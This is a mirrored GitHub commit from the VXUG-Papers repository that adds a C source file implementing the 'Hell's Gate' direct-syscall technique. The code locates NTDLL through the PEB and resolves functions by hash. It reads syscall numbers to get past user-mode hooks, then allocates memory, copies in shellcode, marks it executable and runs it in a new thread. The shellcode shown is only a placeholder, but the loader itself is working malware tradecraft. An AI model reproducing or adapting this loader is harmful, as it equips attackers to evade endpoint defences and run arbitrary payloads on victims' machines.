mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2026-06-17 00:09:29 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,211 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include "structs.h"
|
||||
|
||||
/*--------------------------------------------------------------------
|
||||
VX Tables
|
||||
--------------------------------------------------------------------*/
|
||||
typedef struct _VX_TABLE_ENTRY {
|
||||
PVOID pAddress;
|
||||
DWORD64 dwHash;
|
||||
WORD wSystemCall;
|
||||
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
|
||||
|
||||
typedef struct _VX_TABLE {
|
||||
VX_TABLE_ENTRY NtAllocateVirtualMemory;
|
||||
VX_TABLE_ENTRY NtProtectVirtualMemory;
|
||||
VX_TABLE_ENTRY NtCreateThreadEx;
|
||||
VX_TABLE_ENTRY NtWaitForSingleObject;
|
||||
} VX_TABLE, * PVX_TABLE;
|
||||
|
||||
/*--------------------------------------------------------------------
|
||||
Function prototypes.
|
||||
--------------------------------------------------------------------*/
|
||||
PTEB RtlGetThreadEnvironmentBlock();
|
||||
BOOL GetImageExportDirectory(
|
||||
_In_ PVOID pModuleBase,
|
||||
_Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory
|
||||
);
|
||||
BOOL GetVxTableEntry(
|
||||
_In_ PVOID pModuleBase,
|
||||
_In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory,
|
||||
_In_ PVX_TABLE_ENTRY pVxTableEntry
|
||||
);
|
||||
BOOL Payload(
|
||||
_In_ PVX_TABLE pVxTable
|
||||
);
|
||||
PVOID VxMoveMemory(
|
||||
_Inout_ PVOID dest,
|
||||
_In_ const PVOID src,
|
||||
_In_ SIZE_T len
|
||||
);
|
||||
|
||||
/*--------------------------------------------------------------------
|
||||
External functions' prototype.
|
||||
--------------------------------------------------------------------*/
|
||||
extern VOID HellsGate(WORD wSystemCall);
|
||||
extern HellDescent();
|
||||
|
||||
INT wmain() {
|
||||
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
|
||||
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
|
||||
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
|
||||
return 0x1;
|
||||
|
||||
// Get NTDLL module
|
||||
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
|
||||
|
||||
// Get the EAT of NTDLL
|
||||
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
|
||||
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
|
||||
return 0x01;
|
||||
|
||||
VX_TABLE Table = { 0 };
|
||||
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
|
||||
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
|
||||
return 0x1;
|
||||
|
||||
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
|
||||
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
|
||||
return 0x1;
|
||||
|
||||
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
|
||||
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
|
||||
return 0x1;
|
||||
|
||||
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
|
||||
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
|
||||
return 0x1;
|
||||
|
||||
Payload(&Table);
|
||||
return 0x00;
|
||||
}
|
||||
|
||||
PTEB RtlGetThreadEnvironmentBlock() {
|
||||
#if _WIN64
|
||||
return (PTEB)__readgsqword(0x30);
|
||||
#else
|
||||
return (PTEB)__readfsdword(0x16);
|
||||
#endif
|
||||
}
|
||||
|
||||
DWORD64 djb2(PBYTE str) {
|
||||
DWORD64 dwHash = 0x7734773477347734;
|
||||
INT c;
|
||||
|
||||
while (c = *str++)
|
||||
dwHash = ((dwHash << 0x5) + dwHash) + c;
|
||||
|
||||
return dwHash;
|
||||
}
|
||||
|
||||
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
|
||||
// Get DOS header
|
||||
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
|
||||
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Get NT headers
|
||||
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
|
||||
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Get the EAT
|
||||
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
|
||||
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
|
||||
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
|
||||
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
|
||||
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
|
||||
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
|
||||
|
||||
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
|
||||
pVxTableEntry->pAddress = pFunctionAddress;
|
||||
|
||||
// Quick and dirty fix in case the function has been hooked
|
||||
WORD cw = 0;
|
||||
while (TRUE) {
|
||||
// check if syscall, in this case we are too far
|
||||
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
|
||||
return FALSE;
|
||||
|
||||
// check if ret, in this case we are also probaly too far
|
||||
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
|
||||
return FALSE;
|
||||
|
||||
// First opcodes should be :
|
||||
// MOV R10, RCX
|
||||
// MOV RCX, <syscall>
|
||||
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
|
||||
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
|
||||
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
|
||||
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
|
||||
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
|
||||
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
|
||||
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
|
||||
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
|
||||
pVxTableEntry->wSystemCall = (high << 8) | low;
|
||||
break;
|
||||
}
|
||||
|
||||
cw++;
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL Payload(PVX_TABLE pVxTable) {
|
||||
NTSTATUS status = 0x00000000;
|
||||
char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";
|
||||
|
||||
// Allocate memory for the shellcode
|
||||
PVOID lpAddress = NULL;
|
||||
SIZE_T sDataSize = sizeof(shellcode);
|
||||
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
|
||||
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
// Write Memory
|
||||
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
|
||||
|
||||
// Change page permissions
|
||||
ULONG ulOldProtect = 0;
|
||||
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
|
||||
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
|
||||
|
||||
// Create thread
|
||||
HANDLE hHostThread = INVALID_HANDLE_VALUE;
|
||||
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
|
||||
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
|
||||
|
||||
// Wait for 1 seconds
|
||||
LARGE_INTEGER Timeout;
|
||||
Timeout.QuadPart = -10000000;
|
||||
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
|
||||
status = HellDescent(hHostThread, FALSE, &Timeout);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
|
||||
char* d = dest;
|
||||
const char* s = src;
|
||||
if (d < s)
|
||||
while (len--)
|
||||
*d++ = *s++;
|
||||
else {
|
||||
char* lasts = s + (len - 1);
|
||||
char* lastd = d + (len - 1);
|
||||
while (len--)
|
||||
*lastd-- = *lasts--;
|
||||
}
|
||||
return dest;
|
||||
}
|
||||
Reference in New Issue
Block a user